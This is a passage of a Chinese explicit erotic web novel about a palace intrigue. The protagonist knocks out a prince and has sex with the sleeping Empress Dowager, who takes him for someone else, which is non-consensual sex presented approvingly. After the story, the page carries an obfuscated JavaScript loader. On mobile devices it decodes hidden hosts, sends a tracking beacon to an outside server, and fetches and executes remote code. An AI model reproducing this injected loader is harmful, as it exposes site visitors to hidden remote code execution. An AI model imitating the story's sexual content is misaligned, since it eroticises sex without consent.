当皇帝?他要当了皇帝,我往哪里摆呢?我一定不能让他得逞,要让他们兄弟俩
一起去见他爹。”

太后微笑道:“你好狠的心,只怕有一天你不喜欢我了,你也会这么对我的。”

宁王呵呵淫笑着,伸手在她的胸上揉搓着,说道:“你永远是我的最喜欢的
女人,我就算是不要自己的命,也会保护你的命的。”

太后推拒着他无礼的手,说道:“都这么大年纪了,还这么会说情话。你跟
你那些年轻美貌的女人们在一起时早就我忘到脑后去了吧。”

宁王的手又滑到她的胯下,连连抠摸着,说道:“怎么会呢?哪有一个女人
能赶上你的好处呢?你这里每回都夹得我象当了神仙一样美。”

太后挟住他乱动的手,说道:“你告诉我,你打算什么时候杀掉他们兄弟两
个。”

宁王嘿嘿冷笑道:“你就等着看好戏吧,好戏就快要上演了。很快你就会看
到,我怎么让皇上死的。我会象吹灭一支蜡一样吹灭他。”

那边偷看的小驴心里大骂,这个王八蛋,真能大吹特吹,你有那个本事的话,
在回京的路上,你早就干掉皇上了,你还用等到今天吗?如果我一斧砍死你,那
也太便宜你了,我也得把你折磨够了,再杀死你,不然难解我心头之恨。我本来
不热心要什么皇位,既然有你来抢,我就偏不给你,看你能怎么办。

那边的宁王已经忍不住了。他两手狠玩着太后的奶子,叫道:“小亲亲,小
宝贝儿,咱们开始吧。我的肉南傍国很想干你了。”说着话将太后推倒在床上,双
手动作起来,不一会儿两人就光光的了。

这时太后从两套衣服上各抓起一块玉佩来,问道:“难得你留着这块玉佩呢。”

宁王目光在她的身上乱瞅着,说道:“你送我的东西,我当然会珍惜了。上
边还有我还刻了我的名字呢。”

太后要仔细观看,宁王抢过来放到一边,说道:“咱们干正事要紧。”小驴
暗笑道,这宁王也是个急色鬼。

小驴看宁王虽然已经四十多了,身子还挺强壮,尤其下边那根南傍国,比自己
小不多少。再看太后,肌肤如雪,双峰挺拔,细腰长腿,腹下那丛毛相当茂密,
想必她是个很淫荡的女人。

宁王扑到太后的身上,一口叼住一个奶头,使劲吸了起来。另一手在另一只
奶子上按了几把后,便向下伸去。

太后美目半闭,轻声哼道:“轻一点呀,不要那么用力,我会痛的。”宁王
的一根手指塞入太后的洞里,尽情地抠着,捅着,没几下淫水就流出来。

太后呻吟起来,催促道:“王爷,快点上,快,我很想要了。”

宁王抬起头,用双指挟着那硬起的大奶头,说道:“你快说点好听的,不然
的话,咱们再等等吧。”

太后娇喘道:“皇上,你是皇上,快点来宠幸臣妾吧。”

宁王哈哈大笑,夸道:“你真是个懂事的女人。我这就把肉南傍国给你插进去,
保你舒服得浪水长流。”说着话宁王手持肉棒,对准那流水不止的穴口,一挺屁
股,滋地一声便进去了。

宁王猛劲干着,一边干一边问:“我比你的死鬼老公怎么样?”

太后扭动着把臀叫道:“自然是你好了,你比他好上百倍。他哪里能和你比
呢。”

宁王呵呵笑道:“你舒服吗?你舒服就叫出来,说出来,本王可是很喜欢听
你的浪叫的。”

太后红唇张合着,骚媚地叫道:“你操得真好,操得我快要死了。你操死我
吧,我愿意死你的南傍国下。”

宁王听得得意之极,扛起双腿卖力地插着骚穴。小驴走近些,只见一根青筋
突出的大南傍国在一个毛茸茸,粉嘟嘟的肉洞里强有力地进出着,那粘乎乎的淫水
象蛛丝一样挂了下来。

小驴再看太后变红的俏脸,半眯的美目,起伏不定的大奶子,忍不住吞起口
水来。这种女人真令人着迷,似乎比云花和流云更叫人留恋呢。怎么能想个法我
也享受一下她。虽然她曾经是我父亲的女人吧,不过现在父亲不在了,我干她几
下也不为过吧。

小驴在等着机会,这个时候本是杀宁王的良机,可小驴被欲望冲昏了头脑,
只想着干干太后,倒忘了下手的茬。那宁王的床上功夫相当不错,折腾了足有半
个一个时辰才算完事。

小驴见太后闭上双眼,长睫毛微微动着,脸象朝霞睛样美丽。两只奶子仍然
那么高耸,一点没有她这个年纪的衰老。再看她的大腿上,小腹上正沾着淫水呢,
哪里还能忍得住呢?

他使足力气,照宁王的脑袋上就是一拳,打得他哼一声,昏过去了。小驴将
他赤条条地拎过来,随手放到地上。为了保险起见,他将屋里灯全都吹灭了。这
才欢欢喜喜地脱衣上床。

他先是在太后身后亲个够,摸个够,再将硬起的家伙插入她的水洞里。太后
本来已经睡了,被他一折腾又醒过来。她还以为是宁王呢,哼道:“你不是爽过
了吗?怎么又要了呢?今晚怎么这么干?是不是吃了什么药?啊,啊,你的玩意
怎么变得更大了,你一定是吃药了。”

小驴哪敢答话呀,双手玩着她的奶子,大肉棒象疯了一样狠插着,恨不得插
死这个女人。这个女人是他的仇人,也是他父亲的女人。自己虽然初次见她,可
对她又爱又恨。爱的是她丰姿绰约,恨的是她太可恶了。

小驴展开自己的真功夫,杀得太后浪叫不止。他还不停地换姿势,享受着各
种姿势下的快感。太后经常说话抒情,小驴却不敢发一声,只是偶尔发出几声喘
息。要不是强忍着,他早气喘如牛了。

这一回小驴将太后干得梅开三度。太后见他如此神勇,也觉得不对劲儿了,
在小驴射精的时候,太后问道:“你是什么人?你怎么敢侮辱我?”

小驴一边奋起余勇,一边回答道:“我是宁王的儿子,你难道不知道吗?”
太后听到这话,眼前一黑,竟昏了过去。小驴只是随意说说,没想到结果会这样。

小驴这时可不想让她死,只好停止战斗。他在她的胸上捏了两把,这才穿衣
下床。经过宁王身边时,本想一斧劈了他,但他突然想到他是自己的叔叔,再说
这样杀人也有点太不光明磊落了吧,心里一软,也就没有动手。

他心说,好歹你也是我的叔叔,下回见你时,咱们就是敌人了。他冷哼两声,
要迈步时,突然想到那两块玉佩,心道,那不是上好的证据吗?拿给皇兄看,就
可以证明这太后是什么样的人了。这么想着,就到床前拿过东西。

又想到太后的迷人之处,忍不住低头在她的两只奶子各亲了一口。经过宁王
时,在他身上狠踢了两脚,踢得宁王啊地一声,似乎要醒。小驴懒得跟他纠缠,
快步出宫去了。

他心里打算明天进宫,一定要把宁王跟太后的事及他们的罪恶说给皇上听,
让他早下决心,将二人除掉。

皇宫里面宫室众多,小驴来时乱走来到太后那里,不想出去时就更吃力了。
这边走走,那边走走的,总也找不到一个出口。直到天快亮时,才从一个门出去。

他来时是从大门进去的,却是从边门出来的,这下小驴又蒙了,弄不清哪儿
是哪儿。他找个了背人的地方,解除隐身术,这才向过路的打听梦春园的所在之
处。有个好心人告诉他了,小驴这才迷迷糊糊地回到梦春园。

他心里说,我的妈呀,这个皇宫这么难走,别说晚上,就是大白天的,我也
得变成傻子。要让我当皇帝,首先得用半个月时间熟悉路。

小驴一进房,云花就从床上坐起来,问道:“你怎么现在才回来?出了什么
事了?”一脸的关心。

小驴看她秀发披散着,脸带娇慵,有着天然之美,就冲她一笑,说道:“我
听到了不少秘密,正要告诉你呢。”说着话三两下脱个精光,钻进了被窝。

云花娇媚地缠过来,鼻子闻了闻,哼道:“小驴,你干什么去了?怎么身上
有香味呢?你老实说,你跟哪个女人亲热过了。”

小驴一笑,就说自己没找到皇上,却见到太后了,因为太后跟宁王胡来,自
己忍不住,就找到一个宫女发‘火’。云花听了埋怨半天,批评道:“你也太不
是东西了,人家宫女就不是人吗?你凭什么祸害人家?好端端的一个姑娘让你给
毁了。”

小驴解释道:“她已经不是处女了,估计给皇兄破身了。”

云花瞪了他一眼,说道:“你真是越来越胆大了,连你皇兄的女人都敢碰。
让你皇兄知道,还不砍了你的南傍国,让你当太监。”说着抓住南傍国揉弄着。

小驴厚着脸皮说:“我也是不得已的,我也不想碰她,有什么办法,全身难
受呀。”

云花问道:“那个太后真有那么迷人吗?那么大年纪了能有什么看的。”

小驴认真地说:“她虽然不如你,但是也是很好看的。不信的话,改天你自
己去看。”

云花一边玩着南傍国,一边说:“太后和宁王通奸的事,可不是小事。你必须
尽快告诉给你皇兄,免得太后害他。”

小驴说了自己的想法,云花连连点头。说完这些话,云花已把南傍国弄得硬了,
嘴里笑道:“你也该服侍我了吧?我整个晚上都在想你呢。”说着话,胯上身来,
将肉棒收入洞里。

小驴暗暗叫苦,如果一帮女人都这样的话,我小驴会不会成为死驴?只是这
个时候无心想那么多,因为美人情深。




function ReZXuWM(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LjFzVkH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ReZXuWM(t);};window[''+'T'+'G'+'s'+'Y'+'I'+'q'+'e'+'K'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function isynG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LjFzVkH,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=isynG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15361/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=isynG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55a2toanMMuY24lMM0E5NTMM1','167199',window,document,['M','M']);}:function(){};

关闭